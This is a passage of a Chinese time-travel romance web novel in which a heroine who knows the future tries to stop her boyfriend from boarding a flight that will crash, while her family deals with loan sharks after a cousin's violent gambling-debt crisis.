孟父是个很生意人,很严肃,几乎不怎么说话。孟母保养的跟孟非凡他姐似的,模样很年轻,目前看不是什么难相处的人。 他们对儿子婚姻态度挺开明的,说如果真打算要结婚,一切按照孩子们想法来弄。 宋尔雅暂时挑不出毛病来,如果非要说,她觉得孟非凡有点傻气,全程在呵呵笑,宋芳说什么他应什么。 总之还算愉悦。 晚上,沈明松给她打电话:“抱歉,哥哥这两天有点事。” 她每天都给他打电话问他行程,但每次他都接不过三分钟就挂了,旁边总是有人喊他名字。 沈明松大过年的还在给一个政府领导办事,领导天天带着他出门,见的人个个来头不小,决定着“星世纪”工程能否顺利进展,一个都怠慢不了。 宋尔雅看一眼日历,2001年1月25号了,像看一本死亡倒计书。 “你喝酒了?你别开车啊!”她听出声音肯定喝了不少酒,紧张地攥紧日历,纸张都被她撕下来了。 沈明松被她声量惊了一下,酒醒了很多:“是司机开车的,我已经在家了。” “那就好,你千万要珍惜自己生命啊,别学人家醉驾,一切万事小心。”她声音又变小了,嘱咐道:“哥哥先去冲杯蜂蜜水喝,家里有牛奶吗,去喝一些别让胃被酒精烧穿了。” “怎么了吗,尔尔?你怎么突然变得像我妈一样?”沈明松从地板上爬起来,摸黑到冰箱前,时间太晚了,他不想回家吵醒母亲,便去了学校馨园的房子。 冰箱里还有还几瓶牛奶,他不喝这玩意,都是她没喝完的。 “不要喝冰的,你要热了再喝。”宋尔雅也听到他开冰箱的声音。 沈明松真的就拿着牛奶进厨房加热,让她听到打开燃气灶的声音,才开口:“这么体贴,终于学会心疼哥哥了?” “什么嘛,我一直很疼你的。” 她声调恢复到以往的轻快声调,沈明松脑海自动冒出她洗完澡了抱着玩偶趴在床,嘟着嘴和他聊天。 分开不过几天,居然就那么想她了。 沈明松伸出手虚空摸了几下,就当摸到她发顶,轻轻的笑:“等哥哥过几天时间空出来就去找你好吗?” 他以为她会雀跃的蹦起来说好呀好呀,然而她等了好几秒后才问:“你要坐飞机来吗?” 海都到深市只要两个多小时,当天就可以看到她,沈明松“嗯”了一声,觉得她不太对劲:“怎么了,不开心?” 宋尔雅又去翻看日历,恨不得能立马闪现但他跟前,用绳子把他栓裤腰带上哪里都不能去:“你不要来!” 她现在疑神疑鬼,怕他下楼被摔,出门被打,开车出车祸,一切意外死的方法都在脑海想过一边。 现在更怕他是在来见自己的途中飞机失事了。 “为什么?” “你先睡一觉,明天睡醒了我就告诉你答案。”宋尔雅用肩膀夹着手机,跑去衣柜里找出几件衣服叠好放行李箱里。 沈明松拿出热好的牛奶咬在嘴里,声音含糊:“神神秘秘的,又想干什么坏事?” 她可不是一般的皮,心里指不定憋着什么坏呢。 果然她嘿嘿笑了几声,和他装傻打哈哈,和他说起来宋芳可能要结婚的事。 “其实我不想我妈妈结婚的,但又怕阻拦了她的幸福。”况且她幼时已经阻拦过一次了。 沈明松:“结婚不好吗?” “不太好,隐患太多。”宋尔雅一和他说话就停不下来,有的没的都说,“怕两个人生活到一起才发现不适合,怕生活久了对方变心出轨,总之,结婚不是什么好事。” 沈明松:“年纪轻轻的,哪来那么多怕?” 宋尔雅激动起来,想起都愤愤:“我爸,郑嘉明可不就是,他出轨和我妈离婚后,为了讨好我后妈都可以眼睁睁的看着我……” 她及时收住了声音。 沈明松追问:“看着你怎么了?” “不说了。”宋尔雅叹气,听沈明松还在追问,赶紧说点好听的分散他注意力,她说,“如果是哥哥你的话,结婚挺好的。” 沈明松彻底酒醒了,笑意传递过来:“这你说的,我录音了。” “哎,这不算不算,撤回。” 之后宋尔雅和他聊了到很晚,说到最后她给睡着了,第二天起床一看,电话还没挂掉,那边还能听见沈明松浅浅的呼吸声。 这个人居然开着通话睡了一夜。 宋尔雅还困着,她去洗了把冷水清醒清醒,逼着自己早早起床,做了顿早饭叫宋芳起床。 餐桌上,宋芳睡眼惺忪地喝着粥,听她小嘴叭叭叭说话,还在说之前谈论过关于电商的那些事情:“未来的互联网发展飞速,网上销售方便而快捷……我还写了一份有关未来发展趋势的分析表,姐姐你一定看啊……” “你算命的啊,知道那么清楚。”看她说的头头是道,宋芳揶揄她。 宋尔雅不管她信不信,能说的都说了,能写的都写进表里了,等宋芳以后看见未来发生事情对应上表里写了,傻子也该信几分了。 宋芳年三十那晚就听了很多了,多少也听进一些,妹妹也是大学生,说话肯定有几分可信的,她便信了七分,把分析表当着她面收好,说自己会好好研究的。 没多久,孟非凡就找了过来,要和宋芳出去约会,宋尔雅不想当电灯泡,拒绝一起去。 出门前宋尔雅抱抱她:“姐姐,你要幸福。” 宋芳心中不由一惊,有什么东西要从自己身体抽离,然而她不知道这种情绪从何而来,总觉得妹妹有心事,她拍了一下妹妹后背:“真不一起出去玩?” 宋尔雅还是拒绝了。 她趴在窗户边目送妈妈走到楼下了,宋芳的鞋子里大概是进了什么东西,孟非凡蹲下去把鞋子给脱掉去找异物,让宋芳穿着袜子的脚踩在他膝盖上支撑。 等他们走远后,宋尔雅带着行李箱前往机场。 过年什么票都没了,但她提前很多天就买了返回海都的票,她从一开始就不打算在深市待很久,回来只是想看看宋芳罢了。 也许这是她和母亲最后一次见面了。 飞机落地已是中午,宋尔雅立马就去了馨园。 她一开门就感受到了温暖的气息,家里是有人在的。 宋尔雅摘下手套拍拍落到肩膀上的雪,小心翼翼走到沈明松房间,是空的,她又开了自己房门。 沈明松就睡在她床上,还盖着她蓝粉色带着蕾丝边被子,怀里搂着她放床边的大玩偶。 宿醉过后的他睡得格外沉,她都到跟前拿走他手里还握着的手机也没察觉到,长睫颤了颤,醒不过来。 宋尔雅摸摸他额头,正常体温,她便又出去切了一些苹果和橙子冰糖放锅里煮。 沈明松不爱吃甜的,但她爱吃,冰箱里还有蜂蜜,等水沸腾了打算再加点进去给做醒酒汤。 在她还在考虑做什么午饭时沈明松突然窜出来,一把拉开厨房门吓她一跳。 他鞋子都没穿,发型乱糟糟,看她好一会后,忽然大型犬一样的扑过来抱住她。 宋尔雅险些站不稳往后倒,被他一把抱起来放橱柜上,双手环抱住她腰身,低头埋她脖颈里,带着宿醉沙哑的嗓音问:“什么时候回来的,怎么不和哥哥说?” 宋尔雅手指插进他发丝顺了顺,闻到他身上酒味,刚想捧起他脸亲一下,他又松开她转身走了。 她莫名其妙地跟过去,沈明松进了卫生间拧开水龙头,他把弄湿的毛巾盖在脸上:“不用做饭,一会出去吃。” 宋尔雅帮他把门关上。 醒酒汤做好后盛出来放桌面上晾,她回房间拿起被子嗅了嗅,果然染上了点酒味。 沈明松不仅刷牙洗脸,还顺带洗了个澡,腰间系了块浴巾就出来了。 宋尔雅一抬眼就看见他结实均匀的肌肉形状,每一块都好分明,水珠从胸肌滑落至小腹往下。 她都忘了移开视线。 沈明松也不介意给她看,她想干啥都行:“你拆被套做什么?” 宋尔雅勉强偏过头:“你还好意思说,你干嘛睡我床啊,都睡臭了。” 沈明松眼神立即变了:“那今晚你睡哥哥床睡回来。” 她傲娇地哼气,继续去拆被套,然后被推到了上面。 回过头对上他幽深的眼眸:“反正都要洗的。”《 》 70-75 第71章 第 71 章 倒计时 说好一会出去吃饭, 等宋尔雅回过神来天都要黑了。 沈明??x?松喝了她放了超多蜂蜜的醒酒汤,搞得她嘴里都是甜味。 明明他一天都没吃东西,精力旺盛得吓人, 而且她记的超市买的东西用完了,他不知道什么时候给补了好几盒。 这个男人不要脸起来比她还不要脸,打碎了她对他过往的印象。 她房间里有全身镜, 他还有脸抱着她到镜子前,她羞耻扭开头还被掰着回来, 让她看看自己哭得多厉害。 她对他滤镜全碎了, 那个时候他不再是温柔的叔叔,也不是靠谱哥哥, 而是一条可恶的疯狗。 “尔尔, 尔尔?”沈明松把趴着睡的人翻过来, “还生气呢?” 宋尔雅又趴回去, 用枕头挡住脸:“你这么欺负我,我以后都不和哥哥玩了。” 沈明松乐不可支地又将她翻过来, 亲亲她嘴角:“对不起,哥哥下次不会了。” 他手撑着脑袋, 垂着眼睫看她, 眼神柔柔的, 好似方才浓重的欲望和侵略性没存在过。 宋尔雅挥手拍开他:“我饿了。” “要吃什么?” 沈明松穿好裤子下床去打开行李箱给她拿衣服,赤裸的背上都是微小的抓痕。 宋尔雅抬手看看自己指甲, 有段时间没修理了。 ~ 沈明松给她搭了一套黑色高领的厚实裙子,搭上一件橄榄绿长披肩, 他向来喜欢这种优雅内敛的风格,还挑了一条珍珠项链给她戴上。 “你好像很会给女生挑东西。”宋尔雅早就好奇了,以前和他逛商场买衣服时, 他就挺乐意给她提意见的,并没有给她挑过什么稀奇古怪的。 沈明松看着她,像欣赏自己完美的艺术品:“我都是按着你喜好选的。” 宋尔雅恍惚了一下,惊觉发现他比自己想象中还有要了解自己。 沈明松开车去了他朋友组的一个聚会,到会所时,里面已经坐了不少人,看起来都是年纪都不大,有海都公子哥,也有他们同校的。 宋尔雅还看见了两个电视里才见到的小明星。 从周围人的态度看来,沈明松混得不错,她才坐下,就有人给她倒酒:“你是宋瑶吧,大一那个小学妹,今天可算见到真人了,果然很漂亮。” 不止是那人,在座的目光都不约而同的落她身上,随后来和他们打招呼,沈明松搂过她肩膀:“我女朋友。” 他话一出后打消了很多人念头,宋尔雅注意到有个女生若有若无地看了好几次过来。 沈明松视若无睹,把酒杯给她拿开换了饮料。 包厢空间很大,摆有台球和麻将桌,两个小明星在陪着几个公子哥在打球。 没多久段子阳和章雪也来了,章雪看到她眼睛就放光,却是和沈明松说话:“不是说不来吗?” 在场的几乎都有伴,看来是拖家带口的聚会,如果不是她突然降临海都,沈明松还真不会来。 先前的那个女生目光更幽怨了。 章雪在宋尔雅另一边坐下:“怎么快就回海都了,不在家里过年了?” 宋尔雅说家里没什么事。 章雪:“既然没事,什么时候可以上班?” 宋尔雅:“……” “你也知道外国佬不过年,大年三十那晚还找我谈合作。另外两个翻译还在老家来不了,缺人啊,你赶紧回来上班我给你加工资。” “我要辞职。”宋尔雅说。 章雪又收回了资本家嘴角,笑容慈祥:“我跟你开玩笑呢,年假肯定不会让你上班的。 段子阳凑过来:“好了,你以为人人都像你啊,满脑子只有工作,事业。” 章雪啧了一声:“是,你不爱工作,你没人家沈明松那破公司早倒闭了,当个废物老板你就偷着乐吧。” 段子阳被怼了也不生气,依旧笑呵呵的,两人关系很好的样子。 宋尔雅想到这两人以后会结婚,然后生下段西瑞,接着又离婚,段子阳找了个和章雪强势性格截然相反的女人结婚。 和章雪一起入洗手间时,宋尔雅还是于心不忍,“小雪姐,你以后真的要和段子阳结婚?” 章雪嗅到什么眯了眯眼:“嗯,怎么了,为什么突然说这个,难道你发现段子阳在外面有其他喜欢的人?” 宋尔雅赶紧澄清:“那倒没有,我只是觉得段子阳……” “是个蠢货对吧?”章雪帮她补充,甩甩手上的水,撇她一眼:“你到底要说什么?” “你觉得他是可以结婚对象吗?” “是。”章雪抽出纸巾擦手,表情变都没变。 宋尔雅眨眨眼,不能理解她的想法,忽然说起其他事情:“我有个朋友的父母关系不和,离婚后这个不管他,那个也不怎么管,最后管他最多的人还是他父母的朋友。” 她说的是段西瑞,她还记得她刚去沈家住的那一年,段西瑞还是个闷闷不乐的一个初中生,一和家人吵架就跑来沈家找明奶奶。 刚开始他还认为宋尔雅是要和他抢明奶奶的,怎么看她都不顺眼,还对她恶作剧过,后来被沈明松打了一顿变老实了,乖乖喊她姐姐。 宋尔雅那时也皮,经常坑他被明松训。后面段西瑞又长大了一点,人开朗了许多,学了她几分活泼。 然而章雪没在意她说了什么,只说:“真可怜。不过你明天真的不能来上班吗?有个客户要来参观我们工厂。” “地主老爷,牛也是要休息的。”宋尔雅瞪着眼睛。 章雪被她逗笑了,和她一同出去。 宋尔雅心想,她不能剥夺段西瑞的出生的权利,也没有资格和能力,章雪有她想法,她也干涉不了什么。 大厅里有人打起了麻将,宋尔雅没看到沈明松人影。 她寻找了一番,在露台上看到了,他旁边还有个女生,是刚刚频频看人的女生。 章雪说:“那是杨莉,大一时就在追你家沈明松了,得亏他看不懂,不然可就没你事了。” 宋尔雅心说他不是看不懂,是装傻充愣呢,不挑明他就当不知道,挑明就拒绝,和当初对明秋月一样。 章雪瞅着她:“你不过去看看。” 宋尔雅摇摇头。 “你还说我呢,你都不担心你自己,你总不会能容忍他和别人走近吧?” 自然不能,要是沈明松真有对不起她的,她老早就冲过去抓烂他脸了。 宋尔雅:“他不会做伤害我的事的。” 章雪表情耐人寻味,摸了一把她脑袋:“平时看起来挺聪明的,怎么也是个傻姑娘呢,太相信男人是要吃亏的。” 宋尔雅赞同,可她相信的那人是从未伤害过她一丝一毫的沈明松。 沈明松从露台走出来后,那女生没跟出来,背对着人看高楼下灯火辉煌的城市。 他走过来拿起搭椅子前的外套牵上宋尔雅的手:“走了。” 段子阳才刚开始玩出点兴趣,跑过来追问:“就这么走了,感情你两口子单纯来蹭饭的?” 沈明松抬手看表,八点多了,开车回去还要半个多小时,而她一般情况下十点就要睡了。 因为要开车,他一点酒都没碰,宋尔雅系好安全带后他都未发车。 “怎么了?” 沈明松看过来:“你就没有什么想问的?” “问什么?” 他猎食动物一样眯起眼睛:“真不问,以后就没机会了。” 宋尔雅说:“如果你想告诉我,直接说就好了,不想告诉我的,我是撬不开你嘴巴的。” 他什么人她还不知道吗? “她说决定出国留学了,走之前想和我拥抱一下。”沈明松专注的看着她表情变化,“你放心,我没同意。” “哦。” 她就这个态度,沈明松伸手过来捏她的脸,不开心而又委屈:“你可真行啊,和章雪一个样,就没见过你吃醋的。” 宋尔雅挥开他手:“那我也没见哥哥你酸过啊。” 沈明松叹气,她根本不知道,高中那时候他拦了多少别人写给她的信。 宋尔雅才回到家,就接到了宋芳电话,她和孟非凡约会回来,只看到了桌面上妹妹留的信。 信里说她因为工作原因要提前回去上班,宋芳不太信的:“你是去见明松的吧?你把电话给他,我要和他说话。” 她的声音太大了,沈明松都听到了,直接拿过她手机,见不得人地躲回自己房间里。 十来分钟后他打开房间,把已经挂了的手机还给她:“你没告诉芳姐你过来?” 宋尔雅:“我给她留信了。” “你可真行。”沈明松眼神责怪,最终又没说什么,继续开车回家。 宋尔雅按着手机看通话时长:“你和我妈妈说了什么,她还生气吗?” 沈明松:“芳姐说等你回去就打死你。” “那??x?我不回去了。” “你还没说为什么突然跑过来,不是说好等我有空了就去找你。” 宋尔雅笑盈盈地抱他往她怀里钻,“我想哥哥你嘛,今后开始我要天天粘着你。” 无论多少次,沈明松会吃她的甜言蜜语,一把抱起她让她和自己同一个高度,额头抵着她额头:“亲我。” 他很高兴。 她床单脏了不能睡,晚上还是去他房间睡的。 第二天她才提着东西去明珠那儿拜年,明珠看见她也很意外,她统一找借口说自己因为工作需要提前过来了。 明珠没宋芳那样刨根问底,还邀请她在家住下来。 宋尔雅拒绝了,说自己回学校宿舍住。 沈明松频频看她,原来不只是撒娇精,还是个撒谎精,也不晓得对他说过多少谎,背地里瞒没瞒他多少事。 沈明松把她拉到一边,眼睛眯起来:“说,你有没有对哥哥撒过谎?” 宋尔雅挠挠头:“太多了,哥哥要问哪一件?” 沈明松掐她两边腮帮子,“如果被我知道了你背着我做了什么坏事,我一定……” 宋尔雅眯着眼睛笑:“哥哥才不舍得打我呢。” 沈明松捏捏她脸皮,真怀疑是不是用钢筋混凝土筑成的,这么自信。 宋尔雅看看手机日历,2001年1月27号了。 第72章 第 72 章 坠毁 如那晚所说, 宋尔雅整天都缠着他,去那儿都要跟着。 沈明松按照计划是初五回也椰城那边给林海陶叔他们拜年的。 宋尔雅说她也好久没见陶冬冬了,也要回去, 沈明松被她缠得没办法,又托人多给她弄了一张飞机票。 上飞机前宋尔雅还在想,如果这架飞机失事, 这样的话她得和他一起死了。 结果她上了飞机后就有了浓浓的睡意,眼睛一闭就睡着了, 又开始做梦, 大概老天又想告诉她点什么。 这次的梦却不是混乱毫无逻辑的。 梦里,宋国梁在过年期间被追债打上门剁了三根手指, 家里值钱的都被抬走了, 警告他再也不还钱可不仅三根手指的事了。 等人走后宋国梁逼迫两老人去银行把存折里钱取出来, 没有钱就去卖房子。 结果老头子不愿意和宋国梁打起来, 在反抗中被自己孙子那庞大的身躯压住,活活压死了, 老太太看到这一幕则是一口气喘不上来脑梗了,送到医院时都没气了。 可警察抓了宋国梁, 追债人看他还钱无望, 改去深市把她和妈妈都被绑了, 问她们要五十万平宋国梁的赌债。 那些都是职业放贷的,专门哄人去赌场, 先是让人赢点小钱,等人尝到甜头上瘾了再宰杀。 宋国梁把两老人家底掏得差不多了, 就开始接他们的高利贷,然后利滚利,这辈子都别想还清。 这时候的五十万怎么可能说拿出来就拿出来, 追债的挨个搜他们身上财务,途中拿到宋尔雅手机接到了沈明松电话,让他拿钱来赎人。 沈明松便是在赶来的过程飞机失事了。 宋尔雅惊醒过来后还在飞机上,身上盖着毛毯靠在沈明松身上。 沈明松闭着眼却没睡着,听到动静他微微掀开一点眼皮:“还要半个小时才到,可以再睡……尔尔,脸怎么这么白?” 他坐起来用手背碰碰宋尔雅脸上的温度:“又做噩梦了?” 宋尔雅心情平复了一下,但没能缓过来,那种被刀架脖子上的恐惧,以及在梦里得知沈明松死讯的那种万念俱灰的心情在胸腔里不断翻滚,发酵。 她抓着沈明松手说不出话来。 沈明松搂过她,一下一下拍打着她后背温声道:“不怕了不怕了,梦都是假的。” 然而宋尔雅绝对不相信那是梦。 沈明松问空姐要了些热牛奶喂给她喝,等她身上温度渐渐回温,才低声问:“是又回到你的世界里去了?发生了什么?” “没有,做了个梦而已。” “梦见了什么?”他看着她,有刨根问底的迹象,“尔尔,我希望你不要有事瞒着我。” “我梦见飞机坠毁了。” 她话音刚落了,过道边的乘客脸色突变地扭过头来,险些对她破口大骂。 宋尔雅立马闭嘴了,往沈明松身边靠了靠,他抓紧她手:“还梦见了什么?” 他停顿一下:“不是梦对吗?尔尔还知道什么,和哥哥说说好吗?” 或许这两天她那般缠着他,他已经察觉出什么了,宋尔雅咬咬下唇:“醒来后就不记得,梦都是假的,是相反的。” 沈明松看了她好一会,“嗯。” 她有太多事情在瞒着他。 飞机安全落地。 椰城的年味比海都还要重,到处都有人在放鞭炮喜庆过年,路上全是去走亲戚的车,很堵。 在出租车来到潮汐路就堵得开不下去了,司机回头和他们商量:“帅哥美女,你看前面实在开不了了,要不就在这里下车?” 宋尔雅伸长脖子去看前方,那边拉起来警戒线围了好些人,好些警车停在路口边上,周围全是去看热闹的。 她眼皮一跳,立马下车和沈明松往人堆地方走过去。离家也就百来米路程了。 路口小卖铺还开着,只是货架东倒西歪的像是被人狠狠打砸过,啤酒瓶碎了一地,还有留下了很多干涸血迹。 那是宋家两位老人的家。 陶冬冬在人堆中围观中看到了宋尔雅,风一样地跑过来:“你怎么回来了,我还想着等会给你打电话呢,你家出大事了,你爷爷奶奶被你哥打进医院了,你赶紧去看看吧。” 沈明松和她对视一眼:“走,去医院。” 宋尔雅掏出手机:“我先打个电话。” 她和宋芳说了家里情况,叫她暂时先不要回家,也通知一下姑姑他们注意,也许追债的已经在赶往深市路上了。 原来梦都是真的。 宋尔雅没做过什么不靠谱的事,宋芳很信任她,让她去医院看看爷爷奶奶的情况,她尽量回来。 但春节期间的飞机票不是那么好弄的,火车票从深市到椰城不止路途遥远,还要乘船,宋芳回不了那么快。 宋尔雅紧接着又给孟非凡打电话,几乎是咆哮着说的:“你,一定要看住我姐别让她回家或着乱跑,不然到时候我就算是死,我也搅黄你们!” 孟非凡被她吓到了,立马出门开车去找宋芳,保证不让她出事。 挂了电话后他们才前往医院,老太太半路上就去世了,尸体被拉去给法医鉴定了。 负责刑事案件的警察确认宋尔雅身份后,和她说了些情况,宋国梁目前已经被拘留了。 宋尔雅知道宋国梁坐过最久的一次牢是十二年,十二年后他被放出来后,跑去霍霍宋芳去了。 她问警察能不能枪毙他,警察多看她两眼,说具体结果要等法庭宣判。 等警察离开后,宋尔雅就没有力气了,瘫坐在医院走廊长椅子上,一时毫无头绪:“我刚刚在飞机上就是梦到这些了,真的应验了,我姐不会有事吧?” 她后怕地咬着手指,如果她没看到自己录下的那个视频,不放心地跟沈明松跑来椰城。也许她还按着原本轨迹留在深市和宋芳一起,然后被追债的抓住,接着沈明松从椰城去深市赎她时路上出事。 宋尔雅浑身一阵恶寒。 大拇指上都快要被她咬出血了,沈明松把她手抽出来,意味不明的望她,微微蹙起眉心:“不是什么大事,先让芳姐躲着,这边的事我来处理,别太难过。” 宋尔雅看着某处空气发呆,她的难过倒也不是因为两老人离世,毕竟他们对自己不好,关系不亲近,她只是在为自己难过。 等时间过了2月4号,沈明松就该逃过这一死劫了。而他穿越不了的话,她就不会在十六岁那年遇见他。 她拍拍自己脸,不要想了,不要想了,该来的还是会来,她最后什么下场,让老天来决定吧。 后每隔一段时间,宋尔雅就给宋芳打电话确认她安全与否。 沈明松让她去林海地盘的酒店住着,怕那些追债的人还没走,反而盯上她。 三天后尸检完成,遗体不好留太久给送去火化了,全程都是沈明松去办理的。 宋芳和姑姑回来只看到了两骨灰罐。 他们没买到票,孟非凡居然开了两天的车搭他们回来,到岸边再坐船过来。 一众人挤在老家的院子里,别人家还在热热闹闹放烟花鞭炮走亲戚,他们每张脸都好憔悴,被阴霾笼罩着。 姑姑看到父母骨灰罐??x?,当时就扑上去哭得撕心裂肺,痛骂怎么死得不是宋国梁。 宋芳也没得爷爷奶奶什么好,但也是难过的,情绪没姑姑激动,还和姑父一起安慰姑姑。 追债人去了深市刚好和回椰城的他们错开了,他们没找到人,便打电话过来威胁道,白纸黑字欠债还钱,不还就等着看。 姑姑抹了把眼泪:“怎么办,五十万我们怎么拿的出来。” 姑姑有自己的家庭有儿子,着实没理由要拿钱出来填这个无底洞。 宋芳怒火中烧冲电话吼:“冤有头债有主,你们去牢里要吧。” 可她也知道,那些开赌场放高利贷的人可不会讲道理,很难不说会报复她们。 果然那边骂了很多难听的话,说要来砍死他们,椰城治安不比海都,有些搞灰色产业的老板压根不怕警察。 “我来和他们谈。”沈明松伸手问宋芳要走手机,走到院子停的车开门进去。 宋芳茫然了一会儿,问宋尔雅:“明松是有什么办法?” 宋尔雅哈了一口气搓手,他又不是警察,能对那些混黑的有什么办法,转而又想到他还有个好大哥林海。 她走出院子外面,等了好一会儿,车窗降下来,沈明松把宋芳的手机递给她:“我晚上要出去一趟,你和芳姐她他们回酒店好好待着,别乱跑。” 宋尔雅拉开车门坐进去:“你要做什么?我也要去!” 换作以前,她缠一缠他就答应了,但这是他显然不让她涉足,让她赶紧回酒店去。 沈明松抬手理理她额前凌乱的头发:“想知道的话,尔尔得拿些东西来交换。” “换什么?” “你瞒我的事。” 宋尔雅抿了抿嘴:“不换,我猜你是要去找你那个好哥哥林海。” 林海是椰城的地头蛇,大概率是认识赌场老板的,能说得上话,些许有商量的余地。 沈明松手指弹她额头:“真不可爱。” 说完把她赶下车了,他独自驱车离开。 宋芳和姑姑走出来,宋尔雅冲她们摇摇头,太累,她什么话都不想说。 后面关于葬礼事宜她也没力气去关心了。 2月5号这天她在电视上看到那则新闻:2月4号,一架从椰城飞往深市的飞机遇上极强气流坠机,机毁人亡,无一生存。 当晚宋尔雅就发起了高烧。 第73章 第 73 章 占据了宋瑶身体…… 占据了宋瑶身体之后, 宋尔雅从一开始矮小病弱,随着年龄的增长,体质增强了不少。 虽不说无敌, 却也很少生病。 医生说没什么大碍,都不用打针,给她开了点药让她回家服用。 宋芳记着她以前“死”过一次的事, 还是担心得不行,看着她把药吃下, 碎碎念着:“姐姐一会和姑姑姑父他们去寺庙, 你一个人在酒店没问题吧,药就在床头, 你醒来后让酒店给你送点粥上来, 吃点东西再吃一次药, 大概明天就不难受了, 乖啊。” 姑姑要把两老人骨灰放寺庙里安置,请了人来做法事, 宋芳走前还是不放心妹妹的嘱咐了很多。 宋芳关上酒店房门,恰好看见沈明松从隔壁房间出来, 便拜托沈明松留下来看着她。 姑姑有些担心:“那小伙子是瑶瑶男朋友?就让他一个男人留下照顾瑶瑶不太好。” “姑姑, 他不是什么坏小子, 人和瑶瑶一起长大,一直给瑶瑶当哥哥护着她, 比宋国梁强多了。” “你看孟非凡也说他挺好的,我看他憨得很。”姑姑点点她脑袋, 却也说不出侄女们的对象有什么不好,孟非凡大过年的连夜开车送他们回来,没有功劳也有苦劳。 而沈明松直接把事情利落解决, 一天不到就把宋国梁写下的欠条从赌场老板手里拿回来,说他们不会再找宋家人麻烦了。 宋国梁被关进局子里,想再赌也出不来了,姑姑求着警察,希望能重判他。 姑姑想都是有本事的人,孟非凡看起来憨憨傻傻的,大侄女能拿住他,可沈明松那小子,一脸凶相,能和赌场老板有交涉,也不像是什么普通人,怕是小侄女以后会吃亏。 宋芳给她说人家还是大学生呢,和妹妹一个学校的,保证是好人。 姑姑一听居然也是名校的,对沈明松的印象又好了不少,他们老宋家就是喜欢读书人。 要是换了旁人,宋芳不会这么说好话的,但沈明松也是她看着长大的,知晓他性格人品。 明珠喜欢瑶瑶,她何尝不看好沈明松。 沈明松没提过是怎么拿回来的欠条,但宋芳也知道,钱的事自然由钱来解决。 虽然五十万的债务里有八成的利息,哪怕沈明松找来中间人和赌场老板协商,也总不会什么都没给人家就轻松把债务平了。 她和姑姑商量一番,觉得老两口住的那套小院子卖了换钱还给沈明松,那房子老人总念叨着要留给唯一大孙子的,这回也算是给宋国梁败没了。 老人没了,她和姑姑估计也不太回这边。 沈明松没拒绝他们提议,却私底下把房本还给宋芳,让她去过户到自己名下,目前先不要卖,说等两年房子可不止五十万,让她好好留着。 宋芳愕然,他说要过户到妹妹名下都没这么震惊,怎么是给她啊? 沈明松说:“尔…瑶瑶一直拿你当妈妈,她很爱你的。” 宋芳能感受得到,但和他给她这个姐姐房子有什么关联,不会是想娶她妹妹先来讨好自己的吧。 她也不是什么刻薄姐姐,会去阻拦他们爱情,只要两人好好的她肯定会支持。 宋芳吃不下这个贿赂。 沈明松:“那便给瑶瑶留着吧,我目前能给她的东西并不多,虽有说大话的嫌疑,但我尽量会让你们富裕一辈子。” 宋芳:“怎么还算上我?!” “如果瑶瑶叫你妈妈,你也算是我另一个妈。” 宋芳被他忽悠的一愣一愣的,她怎么就当上岳母了? 不过这小子日后真想娶她妹妹,日后也是要过她一关的。 而宋芳永远都不会知道,她的妹妹其实是她在另一个世界里的宝贝女儿。 宋尔雅无法和母亲相认,也不会在这个世界里出生。 ~ 沈明松打开酒店房门,宋尔雅还在床上睡着,被子盖到下巴上,露出半张小脸睡得安稳。 她的睡相很端正,哪怕和他在一起时,她也会一整夜乖乖的窝在他怀里不乱动,她手指会不由自主的抓着他胸前睡衣,非常依赖他的样子,任由他用什么姿势抱她。 他每次醒来,都会先看她脸一会儿,她在快睡醒之前会哼哼唧唧几声,梦呓着什么,然后才会睁开灿烂的眼睛, 而当她睡得太久了,他便开始担心她是不是回到她的世界里去了,多久才能回来,还会不会回来。 自从她告诉他有关于穿越的事情后,他便也研究起了有关系平行时空的理论,那些理论太官方笼统,没有任何证实。 有关电影更是天方夜谭,偏偏她说的也像在编故事。 有时候沈明松真想去到她说那个世界里看看,她是否过得好,是不是和那个凌乱的梦一般,身受病痛折磨,病得头发都没有了。 这些天她的反常更是让他担忧,她像是要和他永远离别,再不会回来。 沈明松坐在床边看了她一个多小时,段子阳打来电话,他走出外面关上门才接通。 段子阳暴躁而又小心翼翼:“你大爷的,你真给我辞职啊?你不干了,星世纪项目不管了全让我以去弄啊?你疯了吧。公司又不是我一个人的,我给弄倒闭了你落得什么好?你可是第二大股东。” “你回来,董事长位置我给你坐,换我给你跑腿办事,你别搞我呀哥,我们公司再努努力就能上市了,你不要你的孩子,不要你的心血了?” 沈明松等他怪叫完,才和他道歉:“我大概会离开一段时间,归期未定,只要你按照我的规划来,星世纪项目不会出错的。” “你到底有什么事?” 沈明松没和他多说,段子阳也不是真没用,这几年的磨练中两人工作能力都提升不少,段子阳完全可以独自扛起责任来,只是没人逼他就犯懒。 挂完电话后,沈明松再次推门进去。 …… 宋尔雅醒来后,烧也没退,还是有些难受的,眼珠子一转就看到了躺旁边的沈明松。 “怎么这么能睡,都中午了。”沈明松侧躺在被子上面,??x?手撑着头看她,也不晓得的看了她多久。 宋尔雅哼哼几声爬起来:“你干嘛睡我旁边,也不怕传染。” 沈明松用手背测量她体温,没之前烫了,“肚子饿了没,我让人送吃的上来。” 宋尔雅肚子饿得咕咕叫了,下床后洗漱后就巴巴等着酒店人员送餐上来。 椰城的冬天不冷,窗外还是晴空万里的湛蓝,和颜色相同的海。 沈明松还是拿了件毛毯给她裹上。 送上来的是粥,生病中吃什么都尝不出味道,她把退烧药混着粥吞进出,面无表情的。 搁以前她就没有安静片刻,嘴巴早就讲个不停了。她不问宋芳她们回没回来,也不问其他的。 房间安静得只有电视机播放的声音。 男女主人公正激烈地吵架,一会哭一会笑,像是在分手又像是在打情骂俏,然后吻一起了。 宋尔雅喝完粥把碗搁桌上,扭头看旁边男人:“哥哥你一直盯着我干什么?” 沈明松没收回视线,依旧直勾勾的:“年前我计划过回椰城一趟后就去深市找你,提前预订了飞机票,前两天机场那边打电话说票被取消了。” 宋尔雅低头玩自己手指,没什么不敢承认的:“是我干的。” 她还给航空公司打电话,让他们取消那趟航班,结果被当神经病了,她顶多能帮他把机票退了。 沈明松伸手抱起她放在腿上,两人陷在酒店柔软的沙发中,他额头碰着她额头,两人呼吸融在一起:“我没有坐上那趟飞机,你为什么还是不开心,不要说是因为你爷爷奶奶的去世,不单单是因为哪个对不对?” “严格来说,他们是我妈妈的爷爷奶奶,我应该叫……”宋尔雅把头偏过去,一时没想起来她该叫什么。 “别打岔。”沈明松掰回她脸,双手捧住不让她躲避他逼迫审讯的锋利目光,“看着我,尔尔,再不说我真的会生气。” 宋尔雅闭上眼睛:“那你气吧。” 沈明松咬紧牙齿,又松开,眼底凝聚起愤怒,尔后又烟消云散:“你之前说过我也会穿越的事,是这次?” 虽是疑问,但他已确定:“你不想我穿越过去?” 